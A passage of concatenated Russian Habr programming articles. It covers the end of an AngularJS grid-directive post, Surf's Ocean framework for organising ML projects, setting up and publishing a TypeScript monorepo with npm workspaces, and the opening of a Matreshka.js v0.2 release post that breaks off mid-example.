[Исходный код директивы](https://github.com/andreev-artem/angular_experiments/blob/master/ui-grid/ui-grid.js) | [Исходный код демо](https://github.com/andreev-artem/angular_experiments/blob/master/ui-grid/index.html) | [Демо](http://andreev-artem.github.com/angular_experiments/ui-grid/index.html)
Честно говоря, я все откладывал написание этой статьи, пока не напишу подобную директиву :-) Написал статью, смотрю, а она тут уже особо ничего не решает. Но раз уж написана, пусть будет как proof of concept. Можно, конечно, все настройки и через большой объект в атрибуте передавать как в [ng-grid](https://github.com/angular-ui/ng-grid), но AngularJS может «круче», более декларативно. Поэтому подобный подход, мне кажется, более в духе AngularJS.
Использование:
```
$scope.data = [
{ column1: 'aaa', column2: '333', column3: 'aaa', column4: 'sdf' },
{ column1: 'bbb', column2: '222', column3: 'zzz', column4: 'sdf' },
{ column1: 'ccc', column2: '111', column3: 'ddd', column4: 'sdf' }
]
```
Ключевой момент здесь во взаимодействии директив через контроллер. Вот этот код `require: '^uiGrid'` обеспечивает поиск необходимого контроллера на родительских элементах и передает его в `link: function (scope, element, attrs, uiGridCtrl) { ... }`.
#### Заключение
Статья получилась немаленькая, но я в ней рассмотрел далеко не все. Читайте [Developer Guide](http://docs.angularjs.org/guide) — он у них хороший и подробный. Вступайте в [сообщество в Google+](https://plus.google.com/communities/115368820700870330756) — лавины постов там нет, но интересные моменты всплывают достаточно часто. | https://habr.com/ru/post/164493/ | null | ru | null |
# Организуем ML-проект с помощью Ocean
Вступление
----------
За годы разработки ML- и DL-проектов у [студии Surf](https://surf.ru/) накопились и большая кодовая база, и много опыта, и интересные инсайты и выводы. При старте нового проекта эти полезные знания помогают увереннее начать исследование, переиспользовать полезные методы и получить первые результаты быстрее.
Очень важно, чтобы все эти материалы были не только в головах разработчиков, но и в читаемом виде на диске. Это позволит эффективнее обучить новых сотрудников, ввести их в курс дела и погрузить в проект.
Конечно, так было не всегда. Мы столкнулись с множеством проблем на первых этапах
* Каждый проект был организован по-разному, особенно если их инициировали разные люди.
* Недостаточно отслеживали, что делает код, как его запустить и кто его автор.
* Не использовали виртуализацию в должной степени, зачастую мешая своим коллегам установкой существующих библиотек другой версии.
* Забывались выводы, сделанные по графикам, которые осели и умерли в горé jupyter-тетрадок.
* Теряли отчеты по результатам и прогрессу в проекте.
Для того, чтобы эти проблемы решить раз и навсегда, мы решили, что нужно работать как над единой и правильной организаций проекта, так и над виртуализацией, абстракцией отдельных компонентов и переиспользуемостью полезного кода. Постепенно весь наш прогресс в этой области перерос в самостоятельный фреймворк — Ocean.
Вишенка на торте — логи проекта, которые агрегируются и превращаются в красивый сайт, автоматически собранный с помощью выполнения одной команды.
В статье мы расскажем на маленьком искусственном примере, из каких частей состоит Ocean и как его использовать.
Почему Ocean
------------
В мире ML существуют и другие варианты, которые мы рассматривали. Прежде всего нужно упомянуть [cookiecutter-data-science](https://github.com/drivendata/cookiecutter-data-science) (далее CDS) как идейного вдохновителя. Начнем с хорошего: CDS не только предлагает удобную структуру проекта, но и рассказывает, как вести проект, чтобы всё было хорошо, — поэтому здесь мы рекомендуем отвлечься и посмотреть [в оригинальной статье CDS](https://drivendata.github.io/cookiecutter-data-science/) основные ключевые идеи этого подхода.
Вооружившись CDS в рабочем проекте, мы сходу привнесли в него несколько улучшений: добавили удобный файловый логгер, класс-координатор, ответственный за навигацию по проекту и автоматический генератор Sphinx-документации. Кроме того, вынесли несколько команд в Makefile, чтобы даже непосвященному в детали проекта менеджеру было удобно их выполнять.
Однако в процессе работы стали всплывать и минусы подхода CDS:
* Папка **data** может разрастаться, но какой из скриптов или тетрадей порождает очередной файл — не до конца понятно. В большом количестве файлов легко запутаться. Не ясно, нужно ли в рамках реализации новой функциональности использовать какие-то файлы из существующих, так как нигде не хранится описание или документация по их предназначению.
* В **data** не хватает подпапки **features**, в которую можно складировать признаки: посчитанные статистики, векторы и другие характеристики, из которых собирались бы разные конечные представления данных. Об этом уже замечательно написано в блог-посте.
* **src** — другая папка-проблема. В ней есть функции, которые актуальны для всего проекта, например, подготовка и чистка данных модуля **src.data**. Но есть и модуль **src.models**, который содержит все модели от всех экспериментов, а их могут быть десятки. В итоге **src** очень часто обновляется, расширяясь совсем незначительными изменениями, а согласно философии CDS после каждого обновления необходимо пересобирать проект, а это тоже время..., — ну, вы поняли.
* **references** представлен, но все ещё стоит открытый вопрос: кто, когда и в каком виде должен заносить туда материалы. А рассказать можно много по ходу проекта: какие работы проведены, каков их результат, каковы дальнейшие планы.
Для решения вышеперечисленых проблем в Ocean представлена следующая сущность: *эксперимент*. Эксперимент — хранилище всех данных, участвовавших в проверке некоторой гипотезы. Сюда можно отнести: какие данные использовались, какие данные (артефакты) получились в результате, версия кода, время начала и завершения эксперимента, исполняемый файл, параметры, метрики и логи. Часть этих сведений можно трекать с помощью специальных утилит, например, MLFlow. Однако структура экспериментов, которая представлена в Ocean, богаче и гибче.
Модуль одного эксперимента выглядит следующим образом:
```
└── experiments
├── exp-001-Tree-models
│ ├── config <- yaml-файлы с настройками
│ ├── models <- сохраненные модели
│ ├── notebooks <- ноутбуки для экспериментов
│ ├── scripts <- скрипты, например, train.py или predict.py
│ ├── Makefile <- для управления экспериментом из консоли
│ ├── requirements.txt <- список зависимых библиотек
│ └── log.md <- лог проведения эксперимента
│
├── exp-002-Gradient-boosting
...
```
Мы разделяем кодовую базу: переиспользуемый хороший код, актуальный во всем проекте, остается в **src**-модуле уровня проекта. Он обновляется редко, поэтому реже приходится собирать проект. А модуль **scripts** одного эксперимента должен содержать код, актуальный только для текущего эксперимента. Таким образом, его можно изменять часто: работу коллег в других экспериментах он никак не затрагивает.
Рассмотрим возможности нашего фреймворка на примере абстрактного ML/DL-проекта.
Workflow проекта
----------------
### Инициализация
Итак, клиент — полиция Чикаго, — выгрузил нам [данные](https://www.kaggle.com/currie32/crimes-in-chicago/home) и задачу: проанализировать преступления, совершенные в городе на протяжении 2011-2017 годов и сделать выводы.
Начинаем! Заходим в терминал и выполняем команду:
`ocean project new -n Crimes`
Фреймворк создал соответствующую папку проекта **crimes**. Смотрим на её структуру:
```
crimes
├── crimes <- src-модуль с переиспользуемым кодом, одноименный с проектом
├── config <- настройки, актуальные во всем проекте
├── data <- данные
├── demos <- демо для заказчика
├── docs <- Sphinx-документация
├── experiments <- эксперименты
├── notebooks <- ноутбуки для EDA
├── Makefile <- простые команды для запуска из консоли
├── log.md <- проектный лог
├── README.md
└── setup.py
```
Выполнять навигацию по всем этим папкам помогает **Coordinator** из одноименного модуля, который уже написан и готов. Для его использования проект нужно собрать:
`make package`
> **Это баг**: если make-команды не хотят выполняться, то добавьте к ним флажок -B, например “make -B package”. Это относится и ко всем дальнейшим примерам.
### Логи и эксперименты
Начинаем работу с того, что данные клиента, — в нашем случае файл **crimes.csv**, — мы помещаем в папку **data/raw**.
На сайте Чикаго есть карты с разделениями города на [посты](https://data.cityofchicago.org/Public-Safety/Boundaries-Police-Beats-current-/aerh-rz74) (“beats” — наименьшая по размеру локация, за которой закреплена одна патрульная машина), секторы (“sectors”, состоят из 3-5 постов), [участки](https://data.cityofchicago.org/Public-Safety/Boundaries-Police-Districts-current-/fthy-xz3r) (“districts”, состоят из 3 секторов), [административных районов](https://data.cityofchicago.org/Facilities-Geographic-Boundaries/Boundaries-Wards-2015-/sp34-6z76) (“wards”) и, наконец, общественные зоны (“community area”). Эти данные можно использовать для визуализации. В то же время json-файлы с координатами полигонов-участков каждого из типа не являются данными, присланными заказчиком, поэтому мы помещаем их в **data/external**.
Далее нужно ввести понятие эксперимента. Все просто: рассматриваем отдельную задачу как отдельный эксперимент. Нужно распарсить/выкачать данные и подготовить их для использования в дальнейшем? Это стоит поместить в эксперимент. Подготовить много визуализации и отчетов? Отдельный эксперимент. Проверить гипотезу, подготовив модель? Ну, вы поняли.
Для создание нашего первого эксперимента из папки проекта выполняем:
`ocean exp new -n Parsing -a ivanov`
Теперь в папке **crimes/experiments** появилась новая папка с именем **exp-001-Parsing**, её структура приведена выше.
После этого надо посмотреть на данные. Для этого создаем ноутбук в соответствующей папке **notebooks**. В Surf мы придерживаемся именования “номер ноутбука — название”, и созданный ноутбук будет называться **001-Parse-data.ipynb**. Внутри мы подготовим данные для последующей работы.
**Код подготовки данных**
```
import numpy as np
import pandas as pd
pd.options.display.max_columns = 100
# Используем наш проект как источник полезного кода:
from crimes.coordinator import Coordinator
coord = Coordinator()
coord.data_raw.contents()
> ['/opt/jupyterhub/notebooks/aolferuk/crimes/data/raw/crimes.csv']
# Синтаксический сахар для загрузки файлов:
df = coord.data_raw.join('crimes.csv').load()
df['Date'] = pd.to_datetime(df['Date'])
df['Updated On'] = pd.to_datetime(df['Updated On'])
df['Location X'] = np.nan
df['Location Y'] = np.nan
df.loc[df.Location.notnull(), 'Location X'] = df.loc[df.Location.notnull(), 'Location'].apply(lambda x: eval(x)[0])
df.loc[df.Location.notnull(), 'Location Y'] = df.loc[df.Location.notnull(), 'Location'].apply(lambda x: eval(x)[1])
df.drop('Location', axis=1, inplace=True)
df['month'] = df.Date.apply(lambda x: x.month)
df['day'] = df.Date.apply(lambda x: x.day)
df['hour'] = df.Date.apply(lambda x: x.hour)
# Синтаксический сахар для сериализации файлов:
coord.data_interim.join('crimes.pkl').save(df)
```
Чтобы ваши коллеги были в курсе, что вы сделали и могут ли ваши результаты быть ими использованы, нужно прокомментировать это в логе: файле **log.md**. Структура лога (по сути являющегося привычным markdown-файлом) выглядит следующим образом:
Цветом выделены части, которые заполнены от руки. Основная мета эксперимента (светло-сливовый цвет) — автор и объяснение своей задачи, результата, к которому эксперимент идет. Ссылки на данные, как взятые, так и порожденные в процессе (зеленый цвет), помогают следить за файлами данных и понимать, кто, в рамках чего и зачем их использует. В самом логе (желтый цвет) рассказывается итог работ, выводы и рассуждения. Все эти данные позже станут наполнением сайта проектного лога.
Дальше— этап EDA (*Exploratory Data Analysis — “разведывательный анализ данных”*). Возможно, его будут проводить разные люди, и, конечно, нам понадобятся результаты в виде отчетов и графиков в последствии. Эти доводы повод создать новый эксперимент. Выполняем:
`ocean exp new -n Eda -a ivanov`
В папке **notebooks** эксперимента создаем тетрадь **001-EDA.ipynb**. Полный код приводить не имеет смысла, но он и не нужен, например, вашим коллегам. Зато нужны графики и выводы. В тетради выходит много кода, и она сама по себе не то, что хочется показывать клиенту. Поэтому наши находки и инсайты запишем в файл **log.md**, а картинки графиков сохраним в **references**.
Вот, например, карта безопасных районов Чикаго, если судьба вас занесет туда:
Она как раз была получена в тетради и перенесена в **references**.
В логе добавлена следующая запись:
```
19.02.2019, 18:15
EDA conclusion:
* The most common and widely spread crimes are theft (including burglary), battery and criminal damage done with firearms.
* In 1 case out of 4 the suspect will be set free after detention.
[!Criminal activity in different beats of the city](references/beats_activity.jpg)
Actual exploration you can check in [the notebook](notebooks/001-Eda.ipynb)
```
Обратите внимание: график оформлен просто как вставка изображения в md-файл. А если оставить ссылку на тетрадь, то она будет конвертирована в html-формат и сохранена как отдельная страничка сайта.
Чтобы его собрать из логов экспериментов, выполняем следующую команду на уровне проекта:
`ocean log new`
После этого создается папка **crimes/project\_log**, и **index.html** в нём — лог проекта.
> **Это баг**: при отображении в Jupyter сайт внедряется как iframe для пущей безопасности, в связи с чем шрифты не отображаются корректно. Поэтому с помощью Ocean можно сразу сделать архив с копией сайта, чтобы было удобно её скачать и открыть на локальном компьютере или отправить по почте. Вот так:
>
> `ocean log archive [-n NAME] [-p PASSWORD]`
### Документация
Посмотрим на формирование документации с помощью Sphinx. Создадим функцию в файле **crimes/my\_cool\_module.py** и задокументируем её. Обратите внимание, что в Sphinx используется [reStructured Text](http://docutils.sourceforge.net/docs/user/rst/quickref.html)-формат (RST):
**my\_cool\_module.py**
```
def my_super_cool_random(max_value):
'''
Returns a random number from [0; max_value) interval.
Considers the number to be taken from uniform distribution.
:param max_value: Maximum value that defines range.
:returns: Random number.
'''
return 4 # Good enough to begin with
```
А дальше все очень просто: на уровне проекта выполняем команду формирования документации, и готово:
`ocean docs new`
> **Вопрос из зала**: Почему, если мы собирали проект через `make`, собирать документацию приходится через `ocean`?
>
> **Ответ**: процесс генерации документации — не только выполнение команды Sphinx, которую можно поместить в `make`. Ocean берет на себя сканирование каталога ваших исходных кодов, по ним строит индекс для Sphinx, и только потом сам Sphinx берется за работу.
Готовая html-документация ждет вас по пути **crimes/docs/\_build/html/index.html**. И наш модуль с комментариями там уже появился:
### Модели
Следующий шаг — построение модели. Выполняем:
`ocean exp new -n Model -a ivanov`
И на этот раз взглянем на то, что лежит в папке **scripts** внутри эксперимента. Файл **train.py** — заготовка для будущего процесса обучения. В файле уже приведен boilerplate-код, который делает сразу несколько вещей.
* Функция обучения принимает несколько путей к файлам:
+ К файлу конфигурации, в который разумно вынести параметры модели, параметры обучения и прочие опции, которыми удобно управлять снаружи, не вникая в код.
+ К файлу с данными.
+ Путь к директории, в которой необходимо сохранить итоговый дамп модели.
* Трекает метрики, полученные в процессе обучения, в **mlflow**. На все, что было затрекано, можно посмотреть через UI mlflow, выполнив команду `make dashboard` в папке эксперимента.
* Отправляет оповещение в ваш Телеграм о том, что процесс обучения завершен. Для реализации этого механизма использован бот [Alarmerbot](https://alarmerbot.ru/). Чтобы это заработало, нужно сделать совсем немного: отправить боту команду /start, а затем перенести токен, выданный ботом, в файл **crimes/config/alarm\_config.yml**. Строка может иметь такой вид:
`ivanov: a5081d-1b6de6-5f2762`
* Управляется из консоли.
Зачем управлять нашим скриптом из консоли? Все организовано для того, чтобы процесс обучения или получения предсказаний любой модели был легко организован сторонним разработчиком, не знакомым с деталями реализации вашего эксперимента. Чтобы все кусочки паззла сошлись, после оформления **train.py** нужно оформить **Makefile**. В нем есть заготовка команды **train**, и вам остается только правильно расставить пути к перечисленным выше требуемым файлам конфигурации, а в значении параметра username перечислить всех желающих получать Telegram-оповещения. В частности, работает алиас `all`, который отправит оповещение всем членам команды.
Как только все готово, наш эксперимент стартует с помощью команды `make train`, просто и изящно.
На случай, если хочется применить чужие нейросети, вполне помогут виртуальные окружения (**venv**). Создавать и удалять их в рамках эксперимента очень легко:
* `ocean env new` создаст новое окружение. Оно не только активно по умолчанию, но еще и создает дополнительное ядро (kernel) для тетрадей и проведения дальнейших исследований. Называться оно будет так же, как и название эксперимента.
* `ocean env list` отобразит список ядер.
* `ocean env delete` удалит созданное в эксперименте окружение.
Чего не хватает?
----------------
* Ocean не дружит с conda (~~потому что мы ее не используем~~).
* Шаблон проекта только на английском.
* Проблема локализации пока относится и к сайту: построение проектного лога предполагает, что все логи на английском.
Заключение
----------
Исходный код проекта лежит [здесь](https://github.com/surfstudio/ocean-demo).
Если вы заинтересовались — здорово! Больше информации вы можете почерпнуть в README [в репозитории Ocean](https://github.com/surfstudio/Ocean).
И как обычно говорят в таких случаях, contributions are welcome, мы будем только рады, если вы поучаствуете в улучшении проекта. | https://habr.com/ru/post/459340/ | null | ru | null |
# Монорепо: typescpript & workspaces npm. Настройка и публикация в npm
Существуют разные способы создания монорепозитория в node.js, есть разные библиотеки для этих целей: yarn workspaces, lerna и так далее. Но сегодня я хочу коротко рассказать о монорепозитории на typescript, используя только npm.
Монорепозиторий в данном случае - это единый репозиторий, содержащий в себе несколько различных пакетов, каждый из которых может подключаться отдельно и тянуть только свои зависимости.
---
Если не хочется читать процесс, в конце есть ссылка на созданный мной простейший монорепозиторий на typescript, можно посмотреть на примере.
**Предыстория.**
У нас появилась идея сделать общие DTO для фронта и бэка. На бэке 2 языка - JavaScript/TypeScript + Java. Плюс хотим и пробуем автогенерить http клиентов, но пока не очень надо.
В итоге у нас есть openApi yaml файлики с описанием DTO и интерфейсов для клиентской библиотеки, по ним автогенерирую интерфейсы и типы typescript и после они компилятся в js + .d.ts. Также есть написанная мной реализация для отправки в очередь Rabbit.
Подробнее про автогенерацию рассказывать в рамках данной статьи не буду, но если кому будет интересно - могу написать короткую статью по этой теме.
Сами DTO - повторюсь - просто автогенерируемые интерфейсы, они не тянут никаких зависимостей(ну разве что typescript, но он и так во всех приложениях-потребителях уже есть), а вот Rabbit клиент - уже тянет. И если на бэке лишний вес - особо не проблема, то наш фронт тоже хочет использовать DTO. И там лишний вес - плохо(спасибо, кэп)). И в Рэббит ему тоже отправлять ничего не надо.
Так родилась идея разделить на пакеты. Но разделять на репозитории нам не хотелось. Пусть клиент лежит вместе с DTO.
Итого, нам нужен монорепо с несколькими пакетами, причем один пакет(или несколько) тянет зависимостью другой(или несколько) внутри репозитория.
Подобное можно реализовать с помощью yarn&workspaces, но у нас инфраструктура завязана на npm, так что ничего менять не хотелось. Плюс еще предстоить публиковать в свой локальный нексус, там еще предстоит разбираться.
Итого имеем typescript-пакеты и npm. Можно еще lerna, собственно с нее я и хотел начать, но перед этим полез смотреть, а как решена проблема у других.
Первым делом полез в [lodash](https://github.com/lodash/lodash) , ведь я знаю, что там можно подключать каждую функцию отдельно. Но ответа там не нашел. На очереди [babel](https://github.com/babel/babel). И там просто зайдя в репозиторий, увидел один из [коммитов](https://github.com/babel/babel/commit/866a742bf79c01513d2ffd7ef55ca6be3fd9c650) с выпиливанием какой-то части lerna. Пошарив по babel, я не нашел следов lerna. На этом тему с lerna решил закрыть и поисcледовать, а как можно это сделать без использования сторонних библиотек.
И тут в игру вступает workspaces. Это в моем понимании и есть различные пакеты(различные рабочие пространства) внутри одного репо.
Задача сводится к 1.реализовать монорепу, 2.опубликовать так, чтобы каждый пакет внутри был доступен как отдельный пакет со своими зависимостямями.
Сразу оговорюсь, проект еще допиливается, например в части правильной структуризации зависимостей, peerDependencies, все такое, но уже представляет собой законченную единицу примера.
**1.Реализация монорепозитория**
Итак, ранее workspaces не было в npm, но с версии 7 эта возможность появилась, поэтому первым делом нужно проверить версию и если ниже 7, то поставить 7:
```
npm install -g npm@7
```
Или поставить nodejs 15.
Прежде, чем рассказывать далее, хочу заметить, что в качестве основы мной была использована статья <https://habr.com/ru/post/448766/>
В статье есть некоторые подробности, например про @ перед именем пакетов.
А мой репо получился путем форка [репо](https://github.com/SmolinPavel/monorepo) (там javascript) автора статьи [@PavelSmolin](/users/pavelsmolin)и превращением его в typescript либу, а так же непосредственно публикацией в npm.
Пользуясь случаем, хочу выразить [@PavelSmolin](/users/pavelsmolin)свою благодарность.
Продолжим.
Инициализируем npm пакет.
```
npm init
```
В сгенерированном package.json нужно прописать имя пакета, для примера это будет workspaces-example;
```
“name”: “workspaces-example”
```
И прописать свойство workspaces, где указать директорию, в которой будут лежать наши пакеты, обычно это директория packages:
```
“workspaces”:[
“./packages/*”
]
```
Можно указать несколько папок(например в babel их [несколько](https://github.com/babel/babel/blob/main/package.json#L71)) просто перечислением в массиве через запятую.
Библиотека, будучи пакетом, требует указания в package.json точки входа в пакет в свойстве main, точки входа в файлы/файл типизации(для typescript библиотеки), это свойство types.
А так же файлы и каталоги, которые должны попасть в либу при публикации в npm, для этого есть свойство files.
Точку входа в данном корневом package.json я не указываю, т.к. корень у меня не самостоятельный пакет(хотя я и опубликовал его).
Аналогично и с файлами декларации типов(у нас же ts библиотека)
files тоже пустой - файлов и каталогов нет у корня нет.
Корневой пакет - особо и не пакет. По крайней мере в описанном примере. Его можно сделать пакетом, тогда надо заполнить эти три поля: files, types, main.
Итого корневой каталог на данной стадии имеет вот такую структур
```
├── package.json
└── packages
```
Я еще добавил tsconfig, но скорее всего на этом уровне в нем нет необходимости.
Теперь необходимо в каталоге packages(или той/тех, который у вас указаны в workspaces) создать каталоги - ваши пакеты в составе этого репо. У меня это app, types(тут предполагаются DTO) и helpers(еще один пакет, просто для разнообразия).
В каждом каталоге проинициализировать npm пакет, соответственно появятся package.json и добавить свой tsconfig файл.
Вообще говоря, можно использовать один tsconfig файл и положить его для всех файлов в одном месте, но я решил сделать по файлу на пакет, пусть пока конфига и одинаковая.
В итоге у меня получилась вот такая структура:
```
├── package.json
├── tsconfig.json
└── packages
├── app
│ ├── index.ts
│ ├── tsconfig.json
│ └── package.json
├── types
│ ├── index.ts
│ ├── tsconfig.json
│ └── package.json
└── helpers
├── index.ts
├── tsconfig.json
└── package.json
```
В каждом пакете мне необходимо компилировать typescript код в javascript + файлы типизации .d.ts.
Делаю это стандартно
```
tsc
```
Для этого нужно или поставить зависимостью typescript или установить его глобально.
Код генерируется в директорию dist каждого пакета:
packages/app/dist
packages/types/dist
packages/types/dist
Имя директории, куда генерировать указывается в tsconfig.json
```
“compilerOptions”: {
“outDir”: “dist”
}
```
Чтобы генерировались файлы декларации типов в соответствующий tsconfig.json надо указать
```
“compilerOptions”: {
“declaration”: true
}
```
В моем случае точкой входа в каждый пакет является файл index.ts(на схеме выше видно), поэтому я заполняю каждый package.json соответствующими значениями полей types, files и main:
```
“types”: “dist/index.d.ts”
“main”: “dist/index.js”
“files”: [
“dist”
]
```
Обратите внимание, в main расширение .js, это уже javascript.
Дальше интереснее.
Чтобы правильно линковать пакеты внутри репо в каждом пакете внутри каталога packages в его paсkage.json я указываю в имени пакета отсылку к имени корня:
```
“name”: “@workspaces-example/<имя пакета>
```
Например для пакета app, это поле будет
```
“name”: “@workspaces-example/app
```
Аналогично у types и helpers(для моего примера)
Так же добавляю информацию о репозитории пакета в раздел “repository” соответствующего файлика package.json. Обратите внимание на "directory". Здесь лежит путь к пакету, подробнее [тут](https://docs.npmjs.com/cli/v6/configuring-npm/package-json#repository).
Для app это выглядит вот так:
```
"repository": {
"type": "git",
"url": "https://github.com/<ваш id странички на гите>/workspaces-example.git",
"directory": "packages/app"
}
```
Здесь стоит обратить внимание: чтобы опубликовать пакет, он не должен быть приватным, у меня это решено вот так в package.json соответствующего пакета:
```
"publishConfig": {
"access": "public"
}
```
И последний шаг по настройке каждого пакета - это добавление зависимостей.
У меня helpers не имеет внутренних зависимостей, types тоже, а вот в app используются типы из @workspaces-example/types и что-то из @workspaces-example/helpers:
```
"dependencies": {
"@workspaces-example/types": "<версия>",
"@workspaces-example/helpers": "<версия>"
}
```
На данном этапе файл packages/app/package.json выглядит следующим образом
 Если вы нигде не ошиблись, то теперь в корне проекта выполняем
```
npm i
```
И все зависимости пакетов линкуются(напомню, пока сторонних зависимостей, включая typescript в проекте нет).
Теперь внутри app можно подключать внутренние пакеты, например вот так:
```
import {typeA, typeB, interfaceA} from '@workspaces-example/types'
```
Естественно в @workspaces-example/types должны быть описаны эти типы и интерфейс и собраны в types/dist
В принципе, на этом настройка работы нескольких пакетов в одном репозитории закончена.
**2.Публикация в npm**
Для публикации пакета в npm необходимо зарегистрироваться в npm.
Далее необходимо опубликовать каждый пакет в составе репо.
Для этого надо выполнить
```
npm publish
```
в директории каждого пакета в составе репо. Но пока не спешите этого делать, сейчас ничего(кроме корня) не опубликуется.
Для публикации подобного монорепо с несколькими пакетами придется в своем профиле на npm создать организацию.
Создаем организацию workspaces-example, при создании выбираем бесплатный вариант.
Переходим в каждый проект и выполняем
```
npm publish
```
Не забываем перед каждой новой публикацией поднимать версию публикуемого пакета.
Теперь каждый пакет можно установить в любое свое приложение из npm, путем выполнения стандартной команды, например
```
npm i @workspaces-example/types
```
Далее, как любит говорить один известный автор на youtube: "В принципе на этом все.")
**Немного про пакет-пример.**
Хочу отметить, что в моем тестовом пакете пока неразбериха с зависимостями, дублируется tsconfig.
Также я не храню в гите директорию dist(добавлена в .gitignore), а генерирую ее при установке пакета зависимостью с помощью npm хука prepape в секции scripts соответствующего пакета.
Выглядит это так
```
"scripts": {
"build": "tsc",
"prepare": "npm run build"
}
```
В дальнейшем будем с коллегами прикручивать наш локальный нексус, привет Миша!
Пример созданного и опубликованного пакета monorepo-typescript
Ссылка на гит: <https://github.com/euhoo/monorepo-typescript>
Я буду рад в комментариях почитать полезную информацию или исправление неточностей, а также если поделятся какими-то альтернативными способами публикации подобных пакетов, кроме как создание организации в npm.
Спасибо за внимание, надеюсь, кому-то эта информация окажется полезной! | https://habr.com/ru/post/540114/ | null | ru | null |
# (Архив) Matreshka.js v0.2
**Статья устарела. См. [актуальную историю версий](http://ru.matreshka.io/#whats-new).**
* [Введение](http://habrahabr.ru/post/196146/)
* [Наследование](http://habrahabr.ru/post/200078/)
* [MK.Object](http://habrahabr.ru/post/196886/)
* [MK.Array](http://habrahabr.ru/post/198212/)
* [Matreshka.js v0.1](http://habrahabr.ru/post/217241/)
* **Matreshka.js v0.2**
* [Реализация TodoMVC](http://habrahabr.ru/post/231347/)
Всем привет. Представляю очередное обновление фреймворка Matreshka.js до версии 0.2. Напомню: Матрешка — фреймворк общего назначения с окрытым исходным кодом, в идеологию которого положено доминирование данных над внешним видом: вы задаёте правила, как интерфейс должен синхронизированться с данными, затем работаете исключительно с данными, кроме случаев, когда событие интерфейса не касается данных (например, щелчек по кнопке или сабмит формы, сами по себе, не меняют данные, а запускают функцию, которая, в свою очередь, работает с данными)
**Пример**Матрешка позволяет довольно просто связать данные и элементы представления (например, свойство объекта и значение поля ввода), не заботясь о дальнейшей синхронизации данных и представления. Например, самая простая привязка выглядит так:
```
1
2
3
```
Создаем экземпляр:
```
var mk = new Matreshka();
```
Связываем свойство x с элементом `.my-select`:
```
mk.bindElement( 'x', '.my-select' );
```
Меняем данные
```
mk.x = 2;
```
После того, как мы присвоим свойству x другое значение, остояние элемента изменися соответствующим образом.
[Взгляните на живой пример](http://jsbin.com/vidawequ/7/edit)
Другой важной чертой матрешки являются события (в том числе и кастомные). Например, Матрешка умеет отлавливать изменение значения свойства:
```
mk.on( 'change:x', function( evt ) {
alert( 'x изменен на ' + evt.value );
});
```
Код выведет `"x изменен на Привет"`:
```
mk.x = 'Привет';
```
Подробнее об этих и других фичах смотрите по ссылкам выше.
[Ссылка на сайт Матрешки](http://finom.github.io/matreshka/). [Ссылка на github репозиторий](https://github.com/finom/matreshka/).
#### Поддержка AMD
Матрешка теперь моддерживает спецификацию определения асинхронных модулей, Asynchronous Module Definition. Другими словами, Матрешка совместима с библиотеками, типа [requirejs](http://requirejs.org/). Это значит, что теперь можно писать тру-код, не гадящий в глобальное пространство имен. Поддерживается два типа подключения: запрос именованного модуля и запрос безымянного модуля.
Именованные модули:
```
requirejs.config({
paths: {
xclass: 'path/to/matreshka',
matreshka: 'path/to/matreshka'
}
});
require(['xclass', 'matreshka'], function(Class, MK) {
return Class({
'extends': MK
//...
});
});
```
Но это, скорее, побочный эффыект использования новой файловой структуры проекта. А рекомендованный способ — запрос безымянного модуля:
```
require(['path/to/matreshka'], function( MK ) {
return MK.Class({
'extends': MK
// ...
});
});
```
Как видете, Матрешка содержит свойство `Class`, которое дублирует функцию, создающую классы: нет нужды запрашивать дополнительный модуль.
#### Метод [Matreshka#addDependency](http://finom.github.io/matreshka/docs/Matreshka.html#addDependency-1): новое имя и дополнительные фичи
**1.** Метод `addDependence` был переименован в `addDependency` по подсказке хабраюзера [buriy](https://habrahabr.ru/users/buriy/) (спасибо ему), старый метод помечен, как «устаревший».
**2.** Метод теперь поддерживает обещанную возможность добавления зависимости от свойств других классов. Синтаксис второго аргумента таков: `[ инстанс, "ключ", инстанс, "ключ", инстанс, "ключ" ... ]` — массив, с нечетными элементами — экземплярами классов, четными — ключами этих экземпляров, от которых и зависит искомое свойство. Взгляните на пример:
```
this.addDependency( 'a', [
anotherInstance1, 'b',
this, 'c',
anotherInstance2, 'd'
], function( b, c, d ) {
return b + c + d;
});
```
Здесь свойство `"a"` зависит от свойства `"b"` объекта `anotherInstance1`, от свойства `"d"` объекта `anotherInstance2` и от собственного свойства `"c"`. Старый синтаксис по-прежнему работает:
```
this.addDependency( 'a', 'b c', function( b, c ) {
return b + c;
});
```
**3.** Безопасные зависимости. Этот пункт никак не отражается на синтаксисе: начиная с этого релиза метод избегает бесконечного цикла при неправильном использовании `addDependency`. Представьте себе ситуацию, когда свойство `"a"` зависит от свойства `"b"`, свойство `"b"` зависит от свойства `"c"`, а свойство `"c"`, в свою очередь, зависит от `"a"`. Абстрактная иллюстрация к примеру:
```
this.addDependency( 'a', 'b', function( b ) {
return b * 2;
});
this.addDependency( 'b', 'c', function( c ) {
return c * 3;
});
this.addDependency( 'c', 'a', function( a ) {
return a / 5;
});
```
Каждая зависимость в этом коде вызывала следующую, результатом чего получаем повисшую страницу. Теперь же появилась защита от таких ошибок: код передаёт через всю цепочку зависимостей специальный флаг, и, когда фреймворк доходит до потенциально опасной зависимости, цепочка останавливается. `addDependency` в новом виде позволяет строить взаимные зависимости на основе сложных (или не очень) формул, не опасаясь ошибок в реализации этих формул. Пример вычисления периметра прямоугольника по длинам сторон, и вычисления длин сторон:
```
this.addDependency( 'p', 'a b', function( a, b ){
return (a + b) * 2;
});
this.addDependency( 'a', 'p b', function( p, b ){
return p/2 - b;
});
this.addDependency( 'b', 'p a', function( p, a ){
return p/2 - a;
});
```
#### Статичный метод [Matreshka.procrastinate](http://finom.github.io/matreshka/docs/Matreshka.html#procrastinate)
Представьте себе следующую ситуацию (взята из моей практики). У вас есть форма с некими текстовыми полями: чекбосами и пр. Когда меняется значение одного из элементов формы, приложение должно отправить запрос на сервер, который, в свою очередь, возвращает данные для рендеринга трёх графиков. Рисование графиков — дело тяжелое для процессора и на слабом компьютере занимает полсекунды ([Highcharts](http://www.highcharts.com/) он такой). Теперь представьте пользователя, которому скучно и он решил многократно кликнуть на чекбокс. Что произойдет? Отправится куча запросов, вернется куча ответов, которые так же многократно отрисуют график. Что обычно делают в таком случае? Отменяют запрос на сервер. Спрашивается: зачем было этот запрос посылать, если можно было дождаться, пока тот угомонится? :)
Для решения этой задачи я использовал простейшую функцию (возможно, велосипед), которая принимает другую функцию в качестве аргумента и возвращает её модификацию, которая может быть запущена только однажды за определенный промежуток времени. Без нее не обходится ни один проект, поэтому было решено включить её в код Матрешки. Пример:
```
var doSomethingHeavy = function( i ) {
console.log( 'Ok', i );
};
var procrastinateSomethingHeavy = MK.procrastinate( doSomethingHeavy );
